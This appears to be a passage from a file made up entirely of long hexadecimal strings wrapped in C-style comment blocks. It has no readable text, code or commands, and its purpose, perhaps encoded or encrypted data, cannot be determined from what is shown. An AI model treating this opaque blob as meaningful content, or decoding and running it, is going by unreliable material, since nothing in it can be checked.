04a8e3155fd55dedec1a8dc49d2a0f76d9d97693c0b08b058bd3185b4b3367dbc3072f19dba2cdcda31be52a4b9d228b799038955f8abd8ed22f8c09c0d85b87cbe7872a46b69f1b8edc454c92726add48067c8e9d4836107f88ac40f6b5bdc879ca0eebf7b338853ba0382cab78e49a442bdb1b20db8480c5a935fcdd3384edd084bfc0dd76b8e165c519070f72fd72b35d0bdac442b046ec886a4dd1b293cdc92cc20b0e1f918b16d478b48ecd9e616e98bae06117af69e638243e71cb06ced07a321a7532bda10e971a633eccc072f5a8ddda2ae4adb7a20f75357b4f85678f8f581602d08bc97d375b50ca4ec2d57da1e687eabea0ea7e4dcfb3d53618858d71ce3c10639914d6dbc930e26fe2c37e9f948ab8dbb3cf618569329df8f2975adaed436e3f66d66bc4c49bdc98aab7421029d228e24e177b429b808ad7223ec05f77edb552c2a50e582c7404ceec4951b43698ad6e912e59fac98cfad975acfc2a9c51cc72ee5910eecd4a344157d9befa5d489adb326da420ffb700e6aa812790d2158a9768d41cdbd405a669f261a159e16599eeebb3dba14b8c8ba1d1b231861a1cc2618dbc99f86a755c72372056ac1eb64a7d9cd8af683ede7d066c2060d0d31198544db61494a121e757c85a70975f54362c6834476dd47fb9c9d19bbf9a0a2b71ca2e84faa1ae5971146ef5dc5fb259f221e637e17e6bf8ce9293b7bc3701e82b122e1fda99deb7949eab14d22adecef0406156550c71f8fe97cdad6d3a1ff11f25786452750dc119b19c7329971e4f6feceb7b1c5617425c6888160ffeefcabc97efcbbd6b760306c0b55ddabd3b245afab21c7cd0392ef073d273490ac667037817956a6bafb57f11871305b29cbae509c37d1d886a387927b4db5f3726b548c79ba3e438b3caec1fb2c6d91a8d630ec37f850b1a5d0e96fcd3f12b0a0c8ad9c932bb8c7276212ce63b8456d6d0d8290c7c8288b4930737fa9ce797135ba2ec4f187f85ccb03bf4dc596b8bddfa40f89886f6501b5cd51bd7f25800d249cb4fd4b7788825f24f87901e7a2bb1208653034ba8d294e060b93e3414d9e4a3e3776de4e3a9239440d2b08209da2033d6bc1a96a20061e239cf6409f6a19e6fe88c405bbb70f41b0cd5841700d2588ff067d05e9cc1c717dda24a0a5c7eb6c4d145a288e2421aa704afe5cd01d769317175d6fa2bfc9f993dd5e6e6297c00543b76435b926897e4534b5013aea29336f49cfb0763946137dd380b1d5e8573d9ab1943c96ff9ff841f98abdf087569aa434c14e64*/
/*2fcced7660ebebb3776f56e08198bc90c56aefc08e3d9b9f7bcd5bd26474e741b0f57532d12867eecd03dbe926b6369cc766f7e71e09f8bd6207d028ba34da89ffe3a022a920d0551d520246343c4d5d1c6a5f2bdf6e9e9fe1bf7f40eb1bd06eb61aaaac1fa366e8ca9b1177a8ae91839cd2d6da8a4e6186b9833275a25b7234475208bff046905e6f328d33b6156e0b85852776fd8ef695a96f54633cd7fda81e293e83f7aaa30c65b5805d79e3f720c76acee55aaaf922e11a55645430125b3278018fbc79a6bf8fa4577e26289a8a527518a20d2b498abf69ca5c7f4a17d28cd44dcdf32a8abf7450fab6e8cc8befacb4f05c0c36c4e58356cbcf0986277ba75c022a9022fb5a485ea96171bed1b80f41a71be0ed3f28ead45b199e14000e654dec7237740d97e4600d78aba9b0c82b1918d52b978934da948e56ba1a31875133b805bc22730d26125802e11e200ac10c976be23d7b2861c741c8215996928cdb9244e595d0c75d8c4613c0d39737859d831e3de09da1e0c981eca675edb396c942c0f85fad3191ca274d1943c62b212c94671bda237ac662530e51be3fec1abb2de493faf5be50ec868ccd688ce0b1f64284066f985e141674306e1a4b0fbf994f6e1cefee9ffe43edeee179c82ebdc9be2cefd5bd3f8e178ef7fbe3e485e5d8b8b9cc812fad49919f04acfa941f3575a17be3e98b7d28ac71b19e801da36d77778fbebd49ca619fea9cfea80a88bd82be111bd90ace84cf6c595feb28ccf8cb2cf025f7081c1b2667d87f647c1a386b9c6c6990c4435f29e9535cc0195bdc6f323554ca147f898c62a9a9a6a7c42aaae752221cf04c41a09c5b2da2f4c49359848f28d9a21549624e176c3217f8048605c7e63b809e3edfe1767f602f820d7e44fc466da913bf84cceee0c9ebc5b5538184217cf5d9dd877a70ded7e387f73baa4afca73b8dc44d2613d0be87c899704b2e457be0c567fc7420e1d72097644c786c032def7a1cfe1c4be23a1188e8d000bc47fbf6c9c0c3a9c4c76122cc1c136ded24cbb214e9e64bfbc2888b77b8b363d7bc8b006600432b641aba51cc8e86bd1946a0348ac33426564dbe7adcb3ee447028c82534c436e1cdfc4836660cda5fd298617a13d6c99ae6389a4d5f1c14294f17b68dd13d776d530c1d0b8349eb731c215333d451a832821096aaaa4ee03b9fface1ca1b9dde13e0eb0de24e0a9883955278791915b7e12a568a7da99b6e60d9c7013591da75e87095b1f2db5cb20c83ea4329e91519cb954a6130e85c8b5418e5ada62626691f51753fa4255ec2b6d18bfb8d17691b35276458992f3e510f58f20dc22db4c08eb821f8ae4221e7c3099d7d4918506f9ae888fa9511a88311b23a194791025d4c5b971da2f51ada2f7c386f461f3e17c45f167451794ed474914d237003fb2f62cddebdeac45bfc4474068ff8998fa6fe8e494709a5a8668994415cea96f223600ac26f8a0c7afad23c49b378cf26bc93966ad5b89029fb80f529008493a4ff8ce6697e66cf678a732ed724b6c57cfdd0962c2e9fc2dcfbd5755cc9fa6220c16793fa1fbbcd53c4bfac839c235a4beb8961fc7388150f648896b07650951ff5dbe90fd8baf8e5405117856a758c039832895481597cdb6f983491dc6c4696aca01d204f0a675cff469bf1b47dd328a956aade380133b642c5068aae028b72062b4d2c0c1ab6e96397bd3e0d7fb98aed8f81d3b6c86ebeb94a5c92c8c158689d4e884d565ba5655f1c3aba014a1f467b898f6042b5a713e11183d3f90e1410256c3a81392a251016aa2fdaf2a90e5f80c945e1f22b5e462bd51585bf9dfa99ab4f5b978b50ec606da6c22f076572b0fb16d2ef04a88244b5f103f3f212904fc11dbce93509f58a540a6d7a1c65c6800f21863912319542fbc29ac79075aa1709afea26f738def8870c502afc240c24df501b5141552b077a2c66864b836b607fe46105c53ffed98740b91fcdabc873458962704d83a22aa9c75e641340b65fecaaeafe79619606f9d4da6331c0d1d33201baf57acec226392d8bda949195024cd36ac73ed956b2dfe692a9d0784694a4b4a4c2205620be870f8336900f463cbc7dae0d793d4f118aae389270667c4eb7ca6549bf4a39b4320009af1c9893244d2c95ad54cd48b0f0cb7aed2a586f1c608546554a788d458daea811ea39c2b0ac0a7319f11cebe8041da2b041511f2cb85a1df7b6fcfb8a949107a5f0e769a83b84267d99f75dc3eebbc74bd24df7e54a1709ff023df2d39f535c42dfbdad3a8aed859b8226be743a800026e9bd4cae3370040a4f068a83e9fa3f5430f18c2f84938c3460a7cd60fe51fabf033689bec67b6c42210e55a36f8c0bdf1bf09b02af38031c41902c5f421a307edd8a35e16a3b6b17a9a791dd61a4d947e14c409419c78a581452d611cf04ec9fd8a35c929578f9a1d99a727557be8d5fb58af9915b0a95db9f06a017b04b4047565bcf04ee797c4c49421a6bc9ba5d14839e10b02e8d4cf5eeef14963b1dd264d2c74ab36b336ce0ae7a76a8e73749ade20371ee20d3b6c05d12c6ea245752a5b87a1aa808b81aede57b4d1dcb283d2e2716a9384c9b64692af61911b2100978a205adda5fbf76ca00cc8b062724c01afb8eb418343445b8f8a02accd7664d8c02373fbcdb2004370b3eab316b831fc996a751314bbf7d8254fc74cd64646f1301938212d8672d73bc47898603fb7f57ce2a594fa835c5d203ab07d1ad7dfb10714db795cc082251d3d7759a55f2f1fde6c1fc62fba81928884a28267a0c7414490ccddc19d31dba1b077*/
/*452087d1d0076b9aef9a7118517171370b8eb735a12ce8dac5eb103fd3b4761d827ed0ef25c0ce17d088ac031fd6752687cce6c230ff27d3454f9481fe1f6732ab6776aa8488b86ee123b682e7e4f927bf652613570dce4547ca6ac3c63f9a7ea6da3c5a36170c9b0514c71d7486dd3bc1bb91318f67367d2d625a4f33d43fccbe922c7995684a506ea13561e6974f91da5437a7f783df7db4c02cfd5cc1f9aec2cf5ff41c91f7704f08e05a1ef4fde644048711df56af4fa1ecc5762aaeccbd8afb8c8171535fe4e72b994bb7599ab5d1b5ee8fc862c9392814d083c1c9f8dc5cc32a44358b8d3b8a81a0c2eaf493d760d221e60ebaac05920fca479d34aada909ebfff6f1e9a9f4b579bf4e15f5d01b92ce6d53db005f40702ec416b028cbb52b28e5bee142e0d1ddd5809f2cc548e0ba9b35d95057e8d36f719ea8a3bf03b4e3c4d95dc5a5f0b280d9fd459f7cc401528eb9d0aed98ad7a99389453bc8d99e7cde027cd019f2435b86c6b6b5be50ad137aeb5a0f052aa02ba7a9f397bf594b7a4deef2d3404be2f9b2edc7ee7e05dbb5c6b0333b21f9b708c50575a9bcee34d05ebd0ac8f431aa1fd3eb9d0b8261c6ca5e1e3b4cbf0ffaed02b4062aea7e9b2c63fd6d5020bb44d4977de74a7f63e1b6e68e4551679a25516bc345e979f1bdfe4eb5efdc44cc88833f609515df5e25b85a0d9d762738fd2f53b20f8b711cf0bb18ac46c6c68ec5167d12de2b049fd453dffd3a736e687ac19d64ffc6fc0fbd78ef2571c13962c2262a70b829dec64e93b61e4913d16b83eb990f5e512f8635d070f8859354f9aae59bdf3643e2b2abd48423c86ba2d8dc15a4859e44991c1cac4afc0feca09cd7e4e75003d6ead0c78a39a34052a47837a809d2f324239e7787872a80723e02c4d5711ae6de804358966a5140ec49ba6f53cb822e2d62df47b8a251d466d2fb6f76058171709d43229220303a2eeb33596e2efbc9b501e8d5bcb0f20de0efbac6c35f91c4676594b02bda81e32b4d1548cd55a48ffa40dac0422fab4cbae167b5cfd8e462b5a34cc25c9da3291d2fac31bbb110aa738038b206fbb6fbe7826cc58c1b3507475af829e3a6e7d071f4474a03d964c0b095765f5c5f0c8bcdabf0354f06881629b600bc089cfb40fb003163818d934285808e72ae64d4b756c1aeed14e4579ee877a4c433a7ebae022cc06f5832d9baeecc30b65bd6d33c42135901ca66b2298816254dd2d4eb64c89f216d63900f252ee99914f29b6406bd5cdbc91bfb674527b2c8735d3bf800d18a9a3349f0085cd2846221e300be1aab4d14d23f466d9d0d18f57db5f31689c0341dddf3797a1c1cccf4020c2229e7c67ed66b628c7398fb4bdef91bdc901d276515065b67499e1a0d3743bcee24a434186fe2501e0122ab598898008712f3de2c42794afd6f515464fc082ddc9b57c460452612920fe4abbf4cc6aa6a31537f5611c0f99ecbe0b473bfcf1779b659887585cbb0dd571a3692c67dbd07521d31786669f971c4f4346e4ce7447a3a196bdbaf2d80f483f6e8d4b17fc54e2697553c79acc9a86f161d903324b38fb195529ca79cd6328407ee866cdf8bd0708859a5afaf297fb925e5c039ecf4f3fe371c7d834c49aeafb9580ed6ddc04a43542d7c4c36834028ec909481bd1f360d330041ffd158ef193a60d176ee9fbe296a5fe7aecfe2f3c59a0b4576dbe47b8271bb229f09cb56af07837959072daa2399ce2d7acfe14ec4c4eaffc99a13a6954b956e6ca9df23439c39bb9dbdccd6d691b07e0459321a5ff751c8c09b2752dd6fa7132ce31838609d3e702b4c95eefe44509c25748d5553c7b2b347b3b1128ff2b2ea93d94d6b4ffc7cb2939b356070f75b1a4b480be62d3f0478e5a3cdf48bd8da0e5f2b403ad5582dcd6eeb9bb686ea2938beba196b717b0602cd8197dd4522696fcb5489827b54eab0caf0a9219d0fe168e2d58fe2648b6afc17a53d19e28da2bd54fb364604066c4ed90ada67550773c833c2b013997592f267f26ccf9c672ae8a60915d8b429747b445d855313878d3f6bcd845515e086a78ef2669b3e0d97020c8de764caa1337a575aaa55f488902b782b8082ca518566b1618df1896efd26ab1d67ac3175cc3e9f44f384aaadc94e8984369ad019707930cb1b7aa70829a8efc3995edb1c8e85a2f7c14fb395e523b41fce1e1711dd9555d51fe187cc6c353dc1502f3e6d37833e09aff1cfe41f5940edc5355f98f995da068ab11d75503adc688d6439e2e9a4ff8ea33349124b8236c7739221676247ac2f8940f1f66bfd5a47835f8d1665f00ae0d35c1a3d0bd5928f564802431cfed477a90400fed1254edd2eabd286524c39483bdb8a10b815362de020a2be59a6b367e202c5084aa09a571959603d619451812dba361578c8d821775c2c033064f597cbbf9c728a035ba4dacd3f5a7fe6a317ae7182c306139cdcef1564ea79bc2ad37c825643f96853ce968f8bdd546f2bef91540f631f353fb5da07bdbedbe3718bee82ffe353a77e52782406edcda70c27003e59c36503e3a2db72023f3feab9358b4a26455fb52ad12e939e8d889d42eb839251115106a425d95425a16dbcf718044ac365b64ad29990f8eac17e5539efc894570f5e27cb3a3f8cd2350295060980e8eafc5ced9c53335bae753a0a92e2340e72d64330fab30d0e2cc8f8ad57250f80feef8e20930ea49033e162fc01226786bbb10e8deef65deae9f97c56cf2740a22a0950a01bdf48d5b58fc073b98c75c9bf645ee254409e608a9f885c878cb52df6c8648278500d09c15762aa32c*/
/*b20bbf8eed055837be5edcfc914ef1e9530add5806741eb8e3f923dc4e71d29b8b9c7dc705a9490f9f95ec743e36473a3e5990b59cf26624139842fad01ca260a45a864fe7185009fe7c536c8f2fa398937c0aa7ec00fe661315fbb481426e98dc0338fdb480fca39218dcad0c3cce5db14bf75306a9deb0cc8a470052a210e6a11ae67d963cbaaebec420b5ee10498b0288ff2dfeb34489a9efeacfd2e0a66d48615cab0202181a6a555f8f7f02701068d3694e884e1678581df6ff8ee680cc7724d1cfcb781e5bcc0df088bc7c9aee09610e7034a3fe47478f444620eec8c7772fdae22dff0b224214fbf4bd3fd11f137167232577d12438a98c3ee3487195a08d400e48a3f9b63113cf8aba759f65bc4d5939177497ef5a91247a3955c6d74dea876ef4e1e272e6c0e50a4d271efc6a1c2263da99fe08ebfedad5292794329004aa6b0b8a298e79e6aa0c38d4c1d42c32041a0dd54710cfd7ee8081c5ccf65b97f51738e7aac0d2594cb79441789d5cfb66bd242894999606ab11a9274953dcfd6bfc29036d5ca766028aea989dfdd0f07a1f962b3a94db55c8866b6632b98a1a6896a22f670e54b7ca322652904847219d8ecb9bebf6c8047f0001330c13dc31f0d8029ecae78d0a207f9b5db4cd953e07ec6d4f5f129912fddacb23f08aae565b945ad7d8b47f7f8a392b9257296b41d43db7d59897def49de163425306f649e5c367e25998631320e50a099fa44c1c0976a98a375ca457adaf0bae31c7a724aaa10b4ee2c6adb22747a94ff75cbd1b6d5ed4e3d7d9ccea714dfa755717a7a0f179bfba1eb35d3234c0f0738f3e0c7eb12eb7a7a2eea6dd54c157a205635cc45626e9cb1fd6053bf705d2649a069b06a36918c1be59be3d09d68a5db8a914827702485227e5ae95a5c805f7c58140db48e4403da65e13483bf20fafd535983d5d3b96e29d6a85415f680b421b61db857abe275a3c9fccf25b5e028e2f82d2b3c1d37e320441e7e36efa7e87f32a6e730d12cf2bd81cbeb923dbfed57d07b9b5bf663d5316ba7976cce02d159e43c54eb87b3152bcee808b2dd301c421db536bb474fa05caca488bf6d25e30a6e1031efba4285b1a623938cf86d173a65bd9ff4bc720c9242c12fd0165e01ba71e76330a5cf374b7dc83f210f798c49291654cdb32d9e6c1c5a7aac4a8775c4e146ba75dfa6987ed5723d5250552ac07d651746024e22d08ea11f4655bd9ad0a7312abcef81b47b35427055efc19b5240be8977a14c58ddafc0488cd9f4007dac92df197fd781dbe720e2c5b59723f5b84407b0459e0798707146d722aeab76e0982f02923c27381a8809059b2e2ff6e335a16e95416aeadf976ba697814ca57d9c62ca9eecc4b928ddea5cec363dfaae1b72209b5c9ace1855294a8348fbb92995f137defb4515d467b87286cb2f711b7582629e257e404f2ce3760aabf687f85b22ad50a32477165008efd9af2e83b5f61bc1aabc79c8ba2a7068f369cc580d1c4a683e2cf991d239bed039c2485d19f3f99ef01b3eb90c5e3e604888cff2c9d92c85127ddaee1f55c175a60084709aa29ffacd5f6a21eaa04c8ce1f8f699203e09546075a389f1d8fbfe276487eec7d721c3f93c01c4f814ef7fd8aca40dd3c9684b173d6b34865b9f68b59a17efdae16d33ba1847cf30fe12853f4240974e87d85dc01de34783db6f3c5f508d29dca9e1cc44bbdfabd6096d339d7a93bd4cea8626ce76e951f5baec6813fba146ddd9ed7f7975760b24e1a79b06956ed888faa1b6ac11319ce14d87137cd0040d8d470d1d762753f49036f3dae4e0b740850df70243c31b5c43f0b7f075b24f0a2f4cc8ee9a849db61e8f9729fdcfa333ff04702261230e37b70d67708d8752ffcd9e094fcda890d6fa55860653bac5f30004b5e275d18708c7b3297fb193908973df9b883abc047bdd8b286d109bcb69524af043333c178b07a94f619f05e580800fe4ddb6dd9d8e174e3fb46835dcea53d2cb8d659499aa45aa69f7f14d364ffc6888a5cfebaf23a9f7eb5bc941ed18787591fcd32921ec4683213b698b94754730980701ad7834d1c608e6da4b46ffe27359787d4d48e5f54c50b23d4ad7d45d4e7c0917824fa609c7923dad04f394833ba49ef73bd4c91e1dd35cc6245b567035915eaf1fd30abfb4688b2f3ec6c1470166a85985a6126fb5e237d5188cc09a90cc18eea4275e4bb69270ae2d2a580b7c4053bbf7612114655ba99d4308c2e4d577e138c1db78f3ca4920d4bbea0de1118793ac083dc493a96c63bb7453ec812553e04b7779f98646cc869c66eb53a9cbb31e6297b314a5c55369efa3786c25dbc64e0412e50b9016dd0c13807e63a1c2641e738a90e3c9f3eb234900851ccc8163d381878d5e2b749e7e7ac05b8bc489f9784809356eb656a90180a02a78d40b4b3014701915e1f8bb354be0c9567faa10fae351becb83aa5837f14249aef75683fff137de5ae850eabcbafbd0a1464002793aa77bc97594d8df621dc5713e62238566de05207b45d6a33afd2c42f266cf90fed56a27403252b8dd3bea08dc02a188597ba47a9d30d2dfd3abd7c491c3f593e70ac5598c8cb419ad096dfd04701b3882286cea72a762ebe345a8a7efb658d349e504c6e56f583761063f6896b3d81f3edfc21c6d75e99d4a7152d456f054d4ba2b8c14fba00110d02972f0b474da1322918de1a028731b94802acf78686e8dec0ca3de538bb67bd06b17bff12b2dc2b670e80849daaf0f0dc657d6ae850b80eb554606cb815e028a3085247c0c328566747cff64b858d15b9535f35e4*/
/*aa7716136c63dcbbb82385e78cdedf9a35af74b704a4308dfd4eed260e4eb0f31478d94e513adda573a9851474336330ef685583d57a851e6b9ce301369a1a186266a2cd310f4338e998b5f110160a6e31862e9e40bc2959ed444833b416983d5d5184227e4b2687119a9d157316213ff5ef91185a83dddf667edde5d889ad2ac39f499ce21ecd9cea4b1f6c075e47a8a5b5e48bab2b4ccaa390757e61cbca33cb4fdc50e3b5746038a777f941e5ab3ab4f34cce6c9f0c694e62ac32a836a1adacaf2b614c32df887c5b3c7e958d99c45c1e862b80ee721924f0e84833684bc001c02ebfc14c4a6bb66a6da9d9f2e439b2a2e3af37d2810e59033c98545cc5186966b3b97c5e2f1977b87c0c176c7ac04a6a91c3bf9dfc7903096af24e04ab1a232b1270e6d65016c802560965ef4632ed239d06730e8cc344778ccfc0c6c7efda3dacef4e6d31f20b2bc656cf2f1a220dc04cdac369e78474287ac825f7bb751732ea4fcee402c40d297f2b2090ed93ca235e8b37570e738013d7713eb0a95e47009691b642f116b442fab23ed611bef8e54b091491aedf0b70fcf37d1e084b8c8c6cda59312726ee4ddd4397f8a92b92ca147b09df9f300a9c46304d4dc9ee2c3371babe95bc390e037186b592661fdf873b56bbab1c57c8b758e1e8a3fb3911cf4ed573be8110d1f5794cfd9f4579571e4e6504f81716e25426eac2bbb0af363480849fec8eef220a8e6711b85c40cd2e20c9b2fe235f7af7870bdf9a13b612915a50abcbb6a57088f84536078f1fb0d922beac9684c2c83d2ad5bdc7b7f1e0fd9cd915bad1bd5ce88ce4cd0288982f71050d5927a7f0ac72e3c804155ebe08bf7b5b0a19f5a7e52dd5550f41ae6e7ae1843a29b0f57a6dd2aa1c622ef60cf9dd41a13b0b87c4df981bf02c8e0b2b2631de573cc78ff04c31381117591f97eceec7140f8184fdf866680d9deddd29cd220469c130e76164d8a5095cc61b204f0f303d9c377230cd8a0a1f4ea1868302fd1b326ee7aa29eae4dba73654709147ee19d95775cedf0cb5b979a2b2864bb4aba0b032691657e61ef609fcada84974a937e9106ab96f0da884781283b63c2ae30e2a4efd76a65f01360143f617178318bd5adff59f99e002f8784aa80537b89f23e106d7233ef4e189918528cf96e040af82843619f3fdf663e0d0d381cf90abfb0424a7ca8fa2067dcdcb44b5d89b2fe64752b8d788c113304d1f2eb62545b77f97e5d38f8ed7445c11c7a93427f1bef30977220ca38e7d0e7edda4b6357d1420f5f3ee7944ea58a1d08de9d406d997751bedf3ad0947c1b052cbdd00f5dab33bb97eebf19d5f668299b297e179497cf59916656ce4800d10964087a1ce1aa5fb9bfbe588ef1597ccc9ca524514a00d998278f94a0ac9455da5bd93f5064d0d36471383600349109cc251f3c9e53fdd6d9fb8407b4f54b759dfb0243989795d3d00f5225020fa8dfa4b5673474751ce451321707caabea523522b9aa295560b951d2a38a0599148b28b2b6d790d7061fd38cef6241b9371c1c8ba0fdde56a4fc839ce8fbdb867e8f0f4f9c8300723fccb5a57a002775f7a67b3bb9e8db386b8e422c02eaca077d786a6b5acc99b166e68ac23a11baba87e8012a91c93669c68d39b67efbd1d37e1a81584006c1e3608b58c6152210e93ec2410915a53c0daac2745c6e043050a232cd387cfa8e6daf5cd65351d0354dea7ccdaa73071a9e87edd81a4b904898f243038263da8c37393c333318d18035d2c623132cab9fe28eb5f86e916584c85437135e4a7ddec846c6c5cf8720cb33d7c07e657194107b1d2a5c1684f9ba176ef90c42cd83a550736a5b8f1b618a62f298cdd3a2935bb2992af02d34a01e02c57cd3827b439ffd24c912f53694da21a391fd730e0100e28e23537c843bfc5c2dd7a7e7ec15aa869f65de5014b64b3e0657afb14409e765b0cc8c3d2d22c315f1992296c1ea0563d29dead8d273a331876ec3097fdb48764b1580928da0272303cf404347c5c92a5a73e5def2c883e5d96a37456e07b8b008ddaf551022227307dee3daa50d33ad24629feb44926bfdd12baa0c23e94d5f99c7aaee0d57e68c27fa155c3011d83a53103cc4de5fe95d6a4c2d962e83ccc7d56bf19c239805cfcdf11b94d3295179794a46c6efad3c47f70017cb0ad4bb47337eb18dc3a0e8ac72ecedb21c613327238df9a12397f2a98444af01fc4c1019dc763a956191e50b44e3a1664b7d935aef64008195136c872126022770918e5d412cd6d7e1def919c3c2ecf3e67c9f7510adc75face888e9252e2ee0f0419f02f6cbbf2f33e42f9282acae8f3c34a139d536dcb0a9f1a40fa2deadeba21614733f56410a0846e47f48b0fce4a581d45672773e0720f6aeaf2c33ce6a61ab53f02c2727baccf1836821f0d785dbc0c93af34be71b7042ab2cd63ee0f3c3af1280d86a8c074e083d9d7f17ea15f61a43c06e5e98e15bc26ab98f7112efc1192b973036db36e50d711e7e933bf4ac5b08831599f11d87578211e717073e6193f0342395612cef4dd627dc07ad30c7942d6be7af1b97d0c149cd85fca8afe405ba3b7cc239ee7f61748207c6eaa16fd6c6819d2cb5f8f98e9e70cc873259c6eb1328b0ae6b7efac2a111c6fe2b88606588448b2f6b73bbce4c1e3c9d308fd851fdaad5beb4824d2931ec3f13551387b329828d4edb6bb9a0167573f8a4a03670fd34421f9d2efd7acc276f444d0f6157dd2f6bf20a28d0cacf6b816154c0d0e963dbb283a8d09ceb0067e543c093b13666b022d5ecf1da85b8fd9d258656bd1a5c6*/
/*786b2f68b5041055fb8cd2193033f0048f3e14ef87358f6eb7a4c3133dc3b244a681061e142e1002b30e77adec0936c3166c751681867c92c799296f6b8143b33a5c4e475cebd5353a0f120d623eb6e4fa75d3db0665dbeb17b2363dce302f669b3f0ecdc54210af5bf27a44bccd4dda9d3862a2a98b25fac82057209c8d94e543649685391d928042e06a9e6ac0363cac16ff9beb6e5212f8c1cdc40c547e12974dcf73797dee5553594bd4d61d280b16a3cbcfa062cc85659a286c47d26cfe0c0525add0b9279ab5875b38ad12c965c495f43a02bd507575a63d7f2b9f23f9399938323780c4eccdd24cf958624ee3ceb77adc300f7f6109994ff6a878cb4dbe221f104b74d4700e7949fae221923a61221917896620500802371ce1cde918cd2d45de71a77b98b28877ae8a64c9e977b8d8be479b55b13ba28007e81d5f8fdc74690aa22f15b643de05c8cbb05a4bf7afa8b84fdb519b941e646f3f955ccacf683a88182ac987e50aa2765b541b632d589bdd0f8d54d15f135de0d3b553ffb0c91dccd912ef971610176edce8e3556251d073dfd06236c38f11f46af70788e06928df5f4582c92377e527bc9025480cf6b58ff55c5d4a231216264473a62b6ab6c56e15801b11c811b61a68cd19d87fcc432c5bb71121bd6496d845d4a647ca988639077fc224c08559c1dd510aa4098f64397f53bb9573726d587f527e5d7350df9b75de055e7269bd7f625d7d584b8812d7edd25a069f5b8bd9885eb0d94d3a0af77ede618ad87aa7a7c79e07e3bdaf0fe8a31a86621269104562baa3a00c441a320138cd17cff00bc2e07dd818d445b1c06a32ef8209f9aad185ffd76d98c541d7697774441ca5ef14274af919f99068e0bbac91618d8e37ce2a5d8dfb7d5d10832220556434f23672f602d67a26bfc5295c2e88e265a1f0a8babb50116a8745fcc59d9b9256bc1656296f8be36506e3ffa4bb5dc40fa0bc5fc4b5a1b40409bdefc2614bf668a4aa80b460ab3c73f86cd5a707157841f95f4c242a217524fcdda8472924960e0b3c9b444adaa758f1a7a2be1e40746fd29e5e1d6f0fe107f385d4b9df7656c856404de2f8f56c561337050e6e170e648460edcaba4afbee755906d4eefdf5063f6c2b00e055a5f3f41756a2aa83377ec291b5dd8459112409e1efd64365e24be668da44c15f8c15fd8da562c534f8de589452a45d98a418b99b86011c167931cdd793425da23d5904e39c6dab516a1686d498b893dc6175177f6c73597e1d8f00b86e19760bc7c6cdc003c22c2e3a8161ec48dc95bb11c59da1b7db10de064ef865c9c61efdfb5b1a5255c75a8658ee69044195859a7337d08cbd9f596c79c3dc1e9df09e5447f7605f9aca3661af5637cc5f76854e3772c043bad4adc09295bd7f71657a4bcb68be3c4601d27d63759baae97bfad3bc4ca231e552b64b0c209b05ec6d428b95ed26ac7833fde3472e59bdd0ab0676d7d6742eae3cd8e14c7068c3d580b41f2ee13ae1667735118e3ded3432970ebd8666831f16005ebd0675faf207ee8303e5c0af7210d3a0d471c31481f9067342dea52de1044c97273659b4eccffb57de3b89e3521864b66ccef34210c7bb8ce3bc8e601e28fd20942c0d377551d56b271bff0107213c47927dba7c9d63e64257a8bfb095a461a6b8506eeb0077b67d3d8d3a3aab1ca09a45d913e1de2a525e6533967af5b6f11927359028ccadec970fe0ef5d578f696b19d1f7cb4958f9554e1c7dc1c010bf535abcfbd143e319c88658def7fceba6af40a67774d8fdbe11ce454367010c9d6043f0d53f740384f5395acfe07b1835cd123642c4003d73c0c55494d3f84284bee004ff919eb112c7d3ba8ad4a543994aeb741dd4b4a40f8c0060d63ce16ff5e72b49ba5c98f9db9cc8659ec1aed5dee2e3a998de156621010e13401100c80894128c91404fa3e4bf93fd714069092d30f077c817b4b6964448971d6c6c870e788ae6a08e23d5fb0d7ba027d3d791342227824906f71af2972348426f18ec7f0f91eae2189713513013a4dc09cf72b9077a572bdce78b6d46e65e8cc76706da1da3826cc85de676c86cc6feaed4934157ea6f0b91b3ac07976f2ae684b9bac9c5a6fd31dbb17b242a78285e0a1418c0bea75fd7e2bbdd5745cf174df7736bfc3e8e62f9c06cf096d8cd19ef88221564e9ee07c6ecd51c40223525386b2bf81da571da4f20339ce09f7c38137f64a4fe8373c53e324b922454d2b383aa2d0b04b33e8f9b9570ff25cfcdb9232144c11a501afcf101ef467527bf0fce3a850bed0bdfbe8ee8cd4a4d594a0614619378fd8de99ac04756f9a41c455e1912f1dad283c7a82837769e6550de51f77057d5c4ade592d5a2211f4a08c04d3c517f52aeadd173b287b75794cfe9307a95ceb63193b3b0eaf0584f3ba89397d9a7d59a9b62c3ab07c9701be69116601bc3490dfe733bd4525f712746f3a7fa4ec1430b061bb08618f9a3d90113bae92cf11583012a3b9fe81aad330527beafe54649f6a97ac48ce24af5b0a549e39001335bbcaa1177318b4431d01a72f9481573df4835080ccca96b0a0ac806399648d98834a94b776d7e1cb5b39b0db90b3c6f547ac6158b4f8a9451dc64400cdfd7da1b77c6e958109e320e8410261982686fcebef2c36207b895397407765071c769cef7fcf05be8c9328b9b7e6381cd0657012cdbc109aff8c396de7203c0564b081a60545c36ee89434067cbfe649d85514ffe37ffedbafaca9c38f3f833b2ba52909e60ae53f64f2d73f08673208930fb417cddc3cb237901c0206808c1ba*/
/*e502ba07da7878bd6fd74bf8eec1c90bb482ab362d12a7993054af641e033ae6e7f0f12a95fe8c7bc3035724f95efc526afe97249fe3982a2d1272cef562adfd3ab8c3557e508b374398930ee9d5a810e5e4275ed07b2136c6c48924ec31bea8d75bdf6db87f1c6375e4d8ce86611d46aad49956d3a5c6e294f6ecf4530e1a9a00aac45846f4d035eeda93b236c290048f2b0f1244169f32f85cf71295a7a0fe853918a53813cb93cf0badb7ff7ac5c9050713cedfb8a42a4a9f82a8dc691b2d294620a6d7e33c6e98c2d80261f648ab5625b76c076cc71dfe49d7d6bb46622066ce90d1fc5b6d8fb3d18e1ebf23bdaaba759a0260fb3e14275b8d6676d10d9825bdd5b9ae8ad280754c81afc9e45cd2c918770b0e6af73f21a374fc21b12e6b791fa38aea24ee2c16abd024f73132d4864da9eb42fcbf9c28b439c34202275233a2d4e8408cb4cbf183147ec4d8466722540c774b91d80754b96fe0c526597c4834cdba4ffdab7541f34436fd38d7de564568f3ad154c020401f1a9cf2d553323a0e343ec9f5a095dc45a33371acc32a0b0cec00ce0d649200433fa6b3ba8d2df39e6b2d05b4005add5fbd27fdb4bce3541adfc3c739bacbc870f96024b9dde808445f6bb7745945bc6864a92001153382e6b18e95092c5664d6cb2274001ca90bbfbddbd8a6d7c62b26ba77ff9afc69b26d86842a165866cd37b119a46de24b3afdc3b5a2c6ec547e112078a50dbb22f81aaddcb428d814500ca08893106c230427d1ccd2727db994fafc81eeb9f2e8f73d115828f55eaa4d3217ab8f65765643bdf3741c3594c63a312305d64ba8c7e04f25243cffb197c209770b392780b3d23ef541acec955d68997fca561fd32fc97e326819f4de3fd54a9758